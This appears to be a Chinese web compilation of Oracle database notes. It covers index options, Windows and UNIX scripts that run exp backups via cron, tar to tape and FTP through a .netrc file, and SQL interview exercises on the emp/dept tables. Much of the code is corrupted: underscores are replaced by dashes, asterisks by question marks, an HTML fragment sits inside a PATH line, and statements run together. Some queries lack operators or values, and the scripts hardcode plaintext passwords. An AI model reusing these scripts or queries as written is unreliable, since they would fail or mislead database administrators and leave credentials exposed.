NOLOGGING选项:NOLOGGING选项因为不写日志,所以大大提高了性能,比不使用NOLOGGING选项大约会节省70%的时间。使用NOLOGGING创建索引的唯一风险就是如果数据库需要做前滚恢复,你将不得不重建索引。
2、空间和结构因素
COMPRESS选项:COMPRESS选项用于在创建非唯一性索引时压缩重复值。对于连接索引(即索引包含多列)来说,COMPRESS选项会使索引的大小减少一半以上。COMPRESS选项也可以设置连接索引的前置长度。
使用大BLOCKSIZE的表空间:将索引建立在大BLOCKSIZE的表空间上,将大大降低索引树的层次。
oracle数据库自动备份方案 第10篇
编写本文档的目的为实现ORACLE数据库的自动备份,为不动产数据增加一份数据安全按保障。
2.软件环境
数据库服务器:oracle 11g atabase x64 v11.2.0.4.0 客户端:Oracle client x64 v11.2.0.4.0 注意:数据库服务器和客户端版本必须保持一致,否则会出现无法预知的错误。
3.实施方案
3.1.编写数据库自动备份脚本
脚本内容如下,将文件存储为oraclebackup.bat:
@echo off echo 删除10天前的备分文件和日志
forfiles /p “D:oraclebackup” /m *.dmp /d-10 /c “cmd /c del @path” forfiles /p “D:oraclebackup” /m *.log /d-10 /c “cmd /c del @path” echo 正在备份 oracle 数据库,请稍等……
exp BDCDJ_CP/BDCDJ_CP@10.6.161.70/orcl file=D:/oraclebackup/BDCDJ_CP%date:~0,4%%date:~5,2%%date:~8,2%.dmp log=D:/oraclebackup/BDCDJ_CP%date:~0,4%%date:~5,2%%date:~8,2%.log echo 任务完成!注意:
1)修改数据库连接用户名、密码、数据库地址和实例名
2)修改备份文件存储地址,以上脚本存储位置为D:oraclebackup 3.2.新建任务计划
1)打开任务计划程序
oracle数据库知识总结 第11篇
相信为数不少的系统管理员每天都在做着同一样的工作――对数据进行备份。一旦哪一天疏忽了,而这一天系统又恰恰发生了故障,需要进行数据恢复,那么此时就无能为力了。假如每天设定一个固定的时间,系统自动进行备份,那该多好啊!下面笔者结合实践经验,谈一谈UNIX环境下Oracle数据库的自动备份,以起到抛砖引玉的作用。
我们计划让数据库在晚上23点做export导出备份,在凌晨2点将备份文件拷贝到磁带上,在凌晨4点将备份文件拷贝到另一台UNIX机器上,为此我们可进行如下操作:
一、导出数据库
export命令将数据库中的数据备份成一个二进制文件,它通常有三种模式:用户模式、表模式和整个数据库模式。本文拟采用用户模式,备份之前,应先建立一个备份目录,以容纳备份文件,比如可建一个/backup目录。接着我们可在UNIX的Oracle目录下(也可以是其它目录)分别建立两个文件ora―backup,tar―backup。需要说明的是,前一个文件需要对Oracle的参数进行初始化,为了方便起见,我们不妨将初始化命令放到一个文件中(文件名姑且定为ora―env),再由第一个文件调用它。
1. ora―env文件对Oracle的参数进行初始化,其内容如下:
ORACLE―HOME=$ORACLE―HOME;export ORACLE―HOMEORACLE―SID=ora73;export ORACLE―SIDORACLE―TERM=sun;export ORACLE―TERMLD―LIBRARY―PATH=$ORACLE―HOME/lib;export LD―LIBRARY―PATHORA―NLS32=$ORACLE―HOME/ocommon/nls/admin/data;export ORA―NLSPATH=.:/usr/clearcase/“ target=”_blank“ >ccs/bin:/usr/ucb:$ORACLE―HOME/bin:$PATH;export PATHDISPLAY=host1:0;export DISPLAYNLS―LANG=american―america.zhs16cgb231280;export NLS―LANG
2. ora―backup文件对数据库做export导出,导出的文件名可以任意定,本文定为字母“xx”加当天日期,即假如当天日期是12月10号,则导出的文件名为“xx1210.dmp ”,以区别于其它日期的备份文件。
ora―backup文件内容:
./oracle/ora―env#初始化Oracle数据库rq=′date +″%m%d″ ′#把当天日期赋予变量rqrm /backup/?# 清空 /backup目录exp test/test file=/backup/xx$rq.dmplog=/backup/xx$rq.log
本命令用于在$提示符下,导出test用户的数据(其口令亦为test),导出文件及日志均放在/backup目录下。
二、磁带备份
tar―backup文件将用export命令导出的数据文件拷贝到磁带上。tar―backup文件内容:
tar rvf /dev/rmt/0n/backup/?
本命令可将/backup目录下当天产生的文件备份到磁带上。本文件中,tar命令使用了三个参数,其中r选项表示向磁带上拷入文件而不破坏磁带原来内容,v选项表示在拷贝过程中显示文件信息,f选项后面加上磁带设备名,指定文件向何处拷贝,n选项表示磁带机不倒带,
/dev/rmt/0表示UNIX主机第一个磁带驱动器,同理,/dev/rmt/1则表示 UNIX主机第二个磁带驱动器,依此类推。
ora―env、ora―backup、tar―backup文件编写完成后,分别使用下述命令:
chmod 755 ora―envchmod 755 ora―backupchmod 755 tar―backup
这样,三个文件就都变成了可执行文件。
三、异地备份
我们知道,通常可用FTP命令在两台主机间传输数据,但一般是通过交互方式实现的,即需要手工输入目标主机的IP地址、用户名、口令等。显然,这不符合自动备份的要求。所幸的是,我们可以通过编写一个.netrc的文件来达到目标。这一文件必须命名为 .netrc,且必须存放在启动FTP命令的机器上的用户注册目录中,该文件的权限应禁止组内或其它用户进行读访问。这样,当用户使用FTP命令的时候,系统将会在该用户的注册目录中寻找.netrc文件,如果能够寻找到,将会首先执行该文件,否则,会交互式地提示用户输入用户名、口令等。
在使用FTP命令之前,应先在另一台作备份用的UNIX机器上建一目录,以容纳备份文件,本文建的目录是/pub 。需要指出的是,为了加快备份速度,两台主机之间的传输速率应尽可能的高,最好位于同一局域网上。
.netrc文件内容如下:machine host2# host2为作备份用的主机名login oracle#oracle为备份主机上的一个用户password oracle#oracle用户的口令为oraclemacdef init#定义一个名为init的宏,它将在自动注册进程的最后被执行bin#文件的传输方式设为二进制lcd /backup# 进入本地工作目录/backupcd /pub# 进入备份主机目录/pubmput ?# 将/backup目录下的所有文件传输至备份主机bye#退出FTP会话进程.netrc文件编写完成后,使用下述命令:chmod 600 .netrc这样,.netrc文件就只能被该用户所访问。
四、启动备份进程
Cron是一个永久进程,它由/etc/rc.local启动执行。Cron检查/var/spool/cron/c rontabs/?目录中的文件,找到所要执行的任务和执行任务的时间。Crontab文件的每一行由六个域(minutes、hours、day of month、month、day of week、command)组成,域之间用空格或Tab分开,其中:
minutes:分钟域,值的范围是0到59 hours:小时域,值的范围是0到23 day of month:日期,值的范围是1到31 month:月份,值的范围是1到12 day of week:星期,值的范围是0到6,星期日值为0 command:所要运行的命令
如果一个域是?,表明命令可以在该域所有可能的取值范围内执行。如果一个域是由连字符隔开的两个数字,表明命令可以在两个数字之间的范围内执行(包括两个数字本身)。如果一个域是由逗号隔开的一系列值组成的,表明命令可以在这些值组成的范围内执行。如果日期域和星期域都有值,则这两个域都有效。
现在,我们编写一个文件,用以启动自动备份进程。值得注意的是,该文件只能在 Oracle用户名下用crontab -e 命令来编辑,否则将不会被定时执行,文件名定为Orac le,文件将放在/var/spool/cron/crontabs 目录下。编辑完成后,可以在Oracle的$提示符下,用crontab -l命令来查看。
Oracle文件内容:
0 23 ? ? ? /oracle/ora―backup# 每天23点对数据库执行备份0 2 ? ? ? /oracle/tar―backup# 每天2点将文件备份到磁带上0 4 ? ? ? ftp -i host2# 每天4点将文件备份到另一台主机上
经过以上的操作后,系统每天晚上将自动产生一个备份,并且自动将备份文件分别拷贝到磁带上和另一台主机上。系统管理员需要做的是,隔几天换一盘磁带(更换磁带的周期取决于备份文件的大小和磁带的容量)和清理备份目录。这样,他们就可以从备份数据的繁琐中解脱出来,去做其它更有意义的工作。而数据库既实现了磁带备份,又实现了异地备份,相应的安全性也大大提高了。 (完)
oracle数据库知识总结 第12篇
。(2)出现如图6.45所示的【数据库】界面,
(3)出现如图6.46所示的【概要】界面。
(4)出现如图6.47所示的【删除确认】界面。
Oracle数据库面试练习题 第13篇
分析:每个部门有多少员工 —— 根据部门编号进行分组
select deptno,count(*) from emp group by deptno having count(*) >= 1;
2.列出薪金比“smith”多的所有员工。
分析:先查询出smith工资 : select sal from emp where ename=’smith’;
select * from emp where sal > (select sal from emp where ename=’smith’);
3. 列出所有员工的姓名及其直接上级的姓名。
分析:表自映射,为表起别名,进行关联 t1 表模拟员工表 t2 表保存直接上级信息
select t1.ename 员工姓名, t2.ename 直接上级 from emp t1,emp t2 where t1.mgr = t2.empno;
4.列出受雇日期早于其直接上级的所有员工。
分析:原理和上题类似
select t1.*,t2.hiredate from emp t1,emp t2 where t1.mgr = t2.empno and t1.hiredate < t2.hiredate;
5.列出部门名称和这些部门的员工信息,同时列出那些没有员工的部门。
分析:部门没员工也要显示 — 外连接。无论怎样部门信息一定要显示,通过部门去关联员工
select * from dept left outer join emp on dept.deptno = emp.deptno ;
6.列出所有“clerk”(办事员)的姓名及其部门名称。
分析:查找job为clerk 员工姓名和部门名称
员工姓名 emp表
部门名称 dept表
select emp.ename,dept.dname,emp.job from emp,dept where emp.deptno = dept.deptno and emp.job=’clerk’;
7.列出最低薪金大于1500的各种工作。
分析:工作的最低薪金 —- 按工作分组,求最低薪金
select min(sal) from emp group by job;
大于1500 是一个分组条件 — having
select job,min(sal) from emp group by job having min(sal) > 1500;
8.列出在部门“sales”(销售部)工作的员工的姓名,假定不知道销售部的部门编号。
分析:员工姓名位于 emp 部门名称 dept
select emp.ename from emp,dept where emp.deptno = dept.deptno and dept.dname = ‘sales’;
9.列出薪金高于公司平均薪金的所有员工。
分析:先求公司平均薪金 select avg(sal) from emp;
select * from emp where sal > (select avg(sal) from emp);
10.列出与“scott”从事相同工作的所有员工。
分析:先查询scott : select job from emp where ename =’scott’;
select * from emp where ename ‘scott’ and job = (select job from emp where ename =’scott’);
11.列出薪金等于部门30中员工的薪金的所有员工的姓名和薪金。
分析:查看部门30 中所有员工薪资列表 select sal from emp where deptno = 30;
select * from emp where sal in (select sal from emp where deptno = 30);
12.列出薪金高于在部门30工作的所有员工的薪金的员工姓名和薪金。
分析:
select * from emp where sal > all(select sal from emp where deptno = 30);
select * from emp where sal > (select max(sal) from emp where deptno = 30);
13.列出在每个部门工作的员工数量、平均工资。
分析:按部门分组
select deptno, count(*),avg(sal) from emp group by deptno;
14.列出所有员工的姓名、部门名称和工资。
分析:
select emp.ename,dept.dname,emp.sal from emp,dept where emp.deptno = dept.deptno;
15.列出所有部门的详细信息和部门人数。
分析:
select dept.*,count(emp.*) from emp,dept where emp.deptno = dept.deptno group by deptno ; 错误!
求各个部门编号和人数 select deptno,count(*) from emp group by deptno;
再和dept表关联 select dept.*,temp.部门人数 from dept , (select deptno,count(*) 部门人数 from emp group by deptno) temp where dept.deptno = temp.deptno ;
16.列出各种工作的最低工资。
分析:各个工作 分组 , 最低工资 min
select job,min(sal) from emp group by job;
17.列出各个部门的manager(经理)的最低薪金。
分析:where job=’manager’ 过滤所有不是经理数据
select deptno,min(sal) from emp where job =’manager’ group by deptno;
18.列出所有员工的年工资,按年薪从低到高排序。
分析: select ename, sal*12 from emp order by sal*12 asc;
19.查出emp表中薪水在3000以上(包括3000)的所有员工的员工号、姓名、薪水。
分析: select * from emp where sal >= 3000;
20.查询出所有薪水在’allen’之上的所有人员信息。
分析:select * from emp where sal > (select sal from emp where ename =’allen’);
21.查询出emp表中部门编号为20,薪水在以上(不包括)的所有员工,显示他们的员工号,姓名以及薪水,以如下列名显示:员工编号 员工名字 薪水
分析: select empno 员工编号,ename 员工姓名 ,sal 薪水 from emp where deptno = 20 and sal > ;
22.查询出emp表中所有的工作种类(无重复)
分析: select distinct job from emp;
23.查询出所有奖金(comm)字段不为空的人员的所有信息。
分析:不为空 is not null
select * from emp where comm is not null;
24.查询出薪水在800到2500之间(闭区间)所有员工的信息。(注:使用两种方式实现and以及between and)
分析:select * from emp where sal >= 800 and sal <= 2500;
select * from emp where sal between 800 and 2500;
25.查询出员工号为7521,7900,7782的所有员工的信息。(注:使用两种方式实现,or以及in)
分析:select * from emp where empno in(7521,7900,7782);
select * from emp where empno=7521 or empno = 7900 or empno = 7782;
26.查询出名字中有“a”字符,并且薪水在1000以上(不包括1000)的所有员工信息。
分析: 模糊查询
select * from emp where ename like ‘%a%’ and sal > 1000;
27.查询出名字第三个字母是“m”的所有员工信息。
分析:第三个字母 __m%
select * from emp where ename like ‘__m%’;
28.将所有员工按薪水升序排序,薪水相同的按照入职时间降序排序。
分析:select * from emp order by sal asc,hiredate desc;
29.将所有员工按照名字首字母升序排序,首字母相同的按照薪水降序排序。
分析:substring(‘字符串’,第几个字符,长度); —- 首字母 substring(ename,1,1)
oracle数据库知识总结
声明:除非特别标注,否则均为本站原创文章,转载时请以链接形式注明文章出处。如若本站内容侵犯了原著者的合法权益,可联系本站删除。


